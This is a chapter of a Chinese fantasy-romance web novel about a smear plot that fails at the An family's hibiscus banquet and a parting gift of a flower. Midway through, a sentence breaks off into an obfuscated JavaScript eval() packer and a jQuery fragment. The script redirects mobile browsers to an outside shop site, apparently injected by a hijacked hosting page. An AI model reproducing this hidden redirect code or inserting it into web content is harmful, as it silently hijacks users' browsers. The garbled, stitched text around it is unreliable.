桑樱直觉有事发生,任何一处都没多做停留,生怕错过这场好戏。
“桑姑娘?”
好像听到有人叫她,这声音,她一下就听出来是于初霁。
假装没听到,桑樱继续跑。
“桑姑娘!”
后方的人大有要追上来的架势,桑樱索性停下来,转身。
“不知公子所谓何事?”
都是刚才那一闹,脸上的斑都没了。
于初霁很快来到桑樱面前:“没想到姑娘也来了安府。”
桑樱心中又将于初霁骂了几遍,行一礼:“是的,公子要是没事,我就先走了,还有贵人等着我。”
桑樱不给他说“有事”的机会,已经快步离去。
安悦然从屋中走出来望着桑樱远去的背影:“这是初芽的那个丫鬟,初霁哥哥,你认识她?”
于初霁点头:“她在仁心医馆做活,我去那医馆时认识了她。”
安悦然凝视于初霁的侧颜,心里有了一个猜想。
代初芽听一众夫人小姐的谈话就跟念经书一般,无趣。
手指有一下没一下的点在酒盏上,有低低的清脆响声。给百无聊赖的她一点波澜。
这时候,外边一个丫鬟跌跌撞撞跑进来,直呼她家小姐不见了,最后说是去了东院那边,她怎么找也找不到。
代初芽终于来了兴致,聚精会神的听那丫鬟诉说她家小姐不见前发生过的事。
在安府宴会上,出现这种事,安夫人第一个不答应。
“还愣着做什么,还不赶紧去找?”安夫人呵斥下人。
不知从何处冒出来一声:“我看见尹家公子去了东院那边,孤男寡女……”
旁座有位夫人站起来道:“少在那边见风使舵!”
“是不是,看看不就知道了?”
安夫人心头蓦地一跳,正要起身,旁边的大丫头将她拉住,覆在她耳边说:“是有人下药陷害韩家小姐,大公子抓到人了,大公子说,夫人只管带他们去东院,那边有公子和姑娘。”
安夫人视其右侧:“怎么连悦然也卷进去了?”
好在她很快平复心情,对着上首的秦王郡主道:“事关女儿家的清白,臣妇认为,有必要去东院一趟。”
那站起来的夫人眉眼中已大怒,旁边的人不嫌事大,都言去看看。
秦王郡主很是淡然,她抿一口茶:“安夫人说的对,就由安夫人引路吧。”
桑樱回来就看到这番闹剧。
差点晚了,还好听到了。
不过这尹家公子,是尹却吧?
幻境果然会让她遇到那七人。
桑樱悄悄走到代初芽身后,手指轻戳代初芽:“我回来了。那夫人是哪家的?”
代初芽注意力两头分,回复桑樱:“好,刚好这里有好戏,我们看看。哦,那是韩尚书的夫人。”
桑樱摇头,那安公子已领去查了,过去了应该也看不到什么了。
代初芽没看到桑樱摇头,听那群人争论。
她们最后还是要去看。
“这样不是毁人名声吗?”代初芽问。
桑樱轻声道:“去了能证明清白,不去反倒百口莫辩。”
她心知这些人想看到的情况不会发生,说出来的话也没什么波澜。
尹却这下该感谢她,若不是他撞见了那个鬼鬼祟祟的丫鬟,他可有的受了。
一众人浩浩荡荡的往东厢房去。
安夫人走在最前面,去了若是看到,那么会得罪韩家和尹家的人。她身居后宅多年,怎么会看不出来是有人做局。
好在她儿子刚刚已经派人来跟她说了情况,她的儿子会解决了一切。
她只管带着这些人去东厢房,剩下的就去他们几个来做。
代初芽很是激动,不知如何去形容自己现在的心情。只记得抓住桑樱的袖子。
桑樱默默拍代初芽的手,安抚她。
越是靠近东院,刚才还吵着要看的人现在更是兴奋。
人群中的议论声越来越大,安夫人就算知道不会有什么,心里还是升起无名火。
一众人有幸灾乐祸的,有觉得索然无味却还跟着来的,有替两家担忧祈祷一切未发生的。
然而,神色各异的众人还没到东院,就在园池亭下碰到两个小姐和四个公子。
其中就有今日本应在东院的两位主角。
刚才那亭下只有三个人,现在居然了六个人了,要不是这亭子挺大,怎么能把他们装下?
——咦,洛青裴呢?
四个公子里并没有洛青裴,多出来的公子就是于初霁和尹却,那两个小姐自然就是安悦然和那位韩小姐。
他们在凉亭下对弈,现在正对弈的是韩小姐和于初霁。
而其他几个人则静静的看着他们的棋局。直到这些人过来,才触动他们看棋的目光。
有人不满意了,高声问:“你们怎么会在这里?”
这声音分明就是刚才宴会上最激动的那人。
安悦然端庄行礼:“这位夫人说笑了,我们在下棋啊,不够明显吗?”
“那韩小姐和尹公子怎么会在这里?”
那韩小姐仿佛终于从自己的棋局中抽离出来,颔首问那出头鸟:“这位夫人是什么意思,我们怎么不能在这里?”
那妇人已冷汗岑岑,下意识想说什么,却在开口时又闭了嘴,瞬时哑口无言。
代初芽在后方张大嘴巴:“这是结束了?”
桑樱:“应该是。”
她还在想洛青裴去了哪里,他不是喜欢凑热闹吗?
难道这种热闹他不喜欢?
尹却和韩小姐两个人衣着整齐,连衣服也没换,甚至身边还有这么多人。
那妇人还想狡辩,又找了一个借口:“你们男女同席,不知羞耻!”
安夫人心头的火气终于有地方发,她怒声呵斥:“够了!徐夫人,你一直想要摸黑韩小姐的清白,是何居心。”
原来那人是徐家夫人。
徐夫人的腿一下软下来:“不,不是这样,他们应该在东院啊!”
安悦然上前帮安夫人拍背顺气,安夫人调整片刻,俯视地上发疯的女人。
安悦然先请视郡主,得到允许,才道:“诸位看见了,今日是有心之人故意为之,无论是韩小姐还是尹公子都是无辜之人。况且,这里可不只韩小姐和尹公子。”
安悦然看向那妇人:“我们都坦坦荡荡,何来羞耻一说。”
诸位夫人和小姐这时候才反应过来,连声答应。
桑樱也不知这样一来那芙蓉还能不能看。
木芙蓉喜雨,前日连连微雨过后开得更美,可惜那芙蓉没有被种在东院,否则现在已经看到了。
桑樱下意识去寻视园池边缘,这里就很适合种木芙蓉,却没有一株,只有绿色的树。
——树?
桑樱仔细看,那树后似乎站了一个人。
那人身影被常绿之树遮挡,站在廊下,隐在阴影中。
透过绿叶的缝隙,桑樱看到一双眼睛。她的眼力很好,又或者是对方的眼力很好,可以直直抓住她的视线。
两人如同在较劲,谁也没有移开视线。
还是那清风吹拂绿叶遮挡两人的视线。
桑樱狠狠眨眼,要把刚才没眨的眼都给眨了。
等风停下,那个人已经走了。
躲在那里,还是忍不住来看了。代初芽说得对,他的确是爱凑热闹。
安夫人没有权利处置徐夫人,在场也没有人接手这个烂摊子。
安夫人于是派人给徐家人传信,把这个徐夫人带回去。
经过这件事一闹,在场有不少人不愿久留。安夫人可以自家的芙蓉,看还是要看的。
“今日在我安家出现这样的事,我向诸位赔不是。若是各位夫人小姐现在还有闲心便去南院看芙蓉。若是有夫人小姐乏了,也可回府,我随后便遣人将芙蓉送到府上。诸位看可好?”
她已将自己的解决方法提出,其他夫人小姐累了的先回去也能看到芙蓉,还有闲心的也可以当场就看。
因为秦王郡主没走,这样一来走的人不多。
那韩小姐没回府,尹却也留了下来,他们行得端,坐得正,自然不怕人说闲话。
代初芽和桑樱终于等到了赏花时候,二人跟在后面,去看这个院子的木芙蓉。
木芙蓉成林栽种,株高齐人,大叶如掌,层层叠叠连成花墙。
无论是池边还是道旁,都是各色的芙蓉花。
“安府这花栽得真好!”代初芽感叹。
桑樱赞同,整个院子几乎都是芙蓉不知他们安府谁住在这南院。
“芽芽。”
代初芽寻声望去,原来是安悦然来了。
“安姐姐。”
安悦然到代初芽身边,陪她一起走在后面。
稍许讨论一会儿,安悦然问到了桑樱。
“我听说桑姑娘是仁心医馆的大夫,怎么穿成丫鬟的样子?”
她的话语轻柔,面上的神情也只有几点好奇而不是打量。
桑樱与代初芽对视一眼,道:“我身份低微,假若想要进来这宴会,是不可能的。”
桑樱看向代初芽:“所以我只能托代小姐带我来。本来只想看花,并没有其他打算,所以装扮成丫鬟的样子,还涂上斑点。”
安悦然牵起桑樱的手:“我知道你了,桑樱,初芽的朋友就是我的朋友,日后有什么需要的地方也可找我帮忙。”
桑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792347|210435||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
樱回握少女的手:“多谢。”
这姑娘先前恣肆的样子浮现在脑海,这样的一个女子,竟然会因为爱情变得患得患失作出下情蛊的行为。归根到底,都是那男人花心的错。
桑樱不觉间又将于初霁骂了不知多少次。
不过桑樱并不会因为她看错男人而高看她,因为她不能做到急时抽离,也是她能力不足的显示。
而安悦然从哪里知道她的身份。
于初霁,只能是他了。
随后,桑樱还是装作普通丫鬟在两人的身边。
在南院园池边,男宾和女宾隔着池水遥遥相望。
有少年英才,开口作诗,赢得满堂喝彩。
到了这里,重点已经不再是赏花,而是相看。
桑樱又在默默寻找洛青裴了。
洛青裴比一般男子还要高,且他天生剑骨,少年天才,那种不可一世的骄傲是他的实力带给他的。站在人群中,桑樱总能一眼看到他。
他还是没来。
这人在干嘛?
另一边,洛青裴正在收来自曲羽若的一张张传音符。
“无荒镜的踪迹找到了。”
“不日我将随蓬莱修者去夺回无荒镜。”
“我已向蓬莱举荐你,你明日即来。”
这些符纸上有他们二人独特的法术标记,洛青裴在东院时就感受到。后来他直接一个传送回了宁安王府。
等回复了曲羽若,他给自己父母写下信件,信里只说他要离开一段时间。
等这边准备好,他想到自己那妹妹,又一次将自己传送回安府。
桑樱见安悦然和代初芽聊得开心,自己又以如厕为借口退下。
在芙蓉林里寻找洛青裴。这人刚才还在,应当没走的。
“桑姑娘?”
那讨厌的声音又一次传进耳朵,桑樱头也不回的走掉。
于初霁快她一步堵在她前面:“我以为,我们已经是朋友了,桑姑娘为何一直躲我?”
桑樱退后一大步:“如果说了两句话就算是朋友的话,我的朋友已经可以遍布移海国了。”
见于初霁还想说什么,桑樱打断他:“于公子。我先走了。”
桑樱转身,而于初霁抓住了她的手:“那我现在想和你先做朋友,怎么样?”
桑樱甩开少年的手:“我听说于公子和安小姐青梅竹马,两小无猜。国都之人都在传你们好事将近。那么既然已经有了安小姐这样好的人陪在身边,怎么还能看到别人呢?”
于初霁终于不再阻拦桑樱,脑子里全是她的话。
桑樱收敛自己的心情,摘下自己认为很好看的一株木芙蓉,藏在袖中。
于初霁魂不守舍的回席,因为失神,没注意后方有人叫他。
一直到对方拍他肩头,他才反应过来。一个猛回头,看到的确实一个陌生人。
“你是?”
那人缓缓抬头,介绍自己:“我是李家的大公子,李灼。”
于初霁听说过,那个李家的真少爷。
等桑樱从外面回来的时候,代初芽也要出去了。
代初芽拉住桑樱,边走边说:“我兄长要走了,我们去送送他。”
桑樱一听是洛青裴要走了,还以为他要回宁安王府。
“你不走吗,还要去送他?”
代初芽脚步不停:“他要离开移海国,我去送送他。”
离开移海国,这几个字在桑樱脑中转了一圈。
原来他又要走了。
桑樱一手探向袖中的芙蓉花,这花待会儿给他,不知会将他迷成什么样了。
代初芽用了灵力给桑樱,两个人走起来就快多了。到宁王府马车旁也未花费太多时间。
少年一身白衣,容颜昳丽。那双妖冶的眼看过来时,仿佛能够惑人心魄。
“兄长!”代初芽奔向洛青裴。因为忘记控制速度,桑樱险些没跟上。
洛青裴注意到她的窘迫,心中暗笑。
代初芽看到洛青裴了,就道:“兄长,现在见到我了,你走吧!”
洛青裴没忍住给了代初芽一个脑瓜崩:“我从府中过来和你道别,你就这样?”
代初芽捂着自己被打的脑袋,咕哝道:“我还不是来送你了。”
洛青裴将视线落在桑樱身上,唇齿轻开,却并没有说什么。
桑樱注意到他开合的唇,将袖中芙蓉拿出来,递到洛青裴面前:“世子或许没看到,我带了一株出来。”
洛青裴目光从女子手中的芙蓉花上移到桑樱的脸上,最后定在她的双眼。
她眼中揉了今日明媚的日光,整个人渡上温柔的暖色。
洛青裴结果那朵芙蓉,举到鼻下轻嗅,他眼中浮现异样的神采:“多谢。”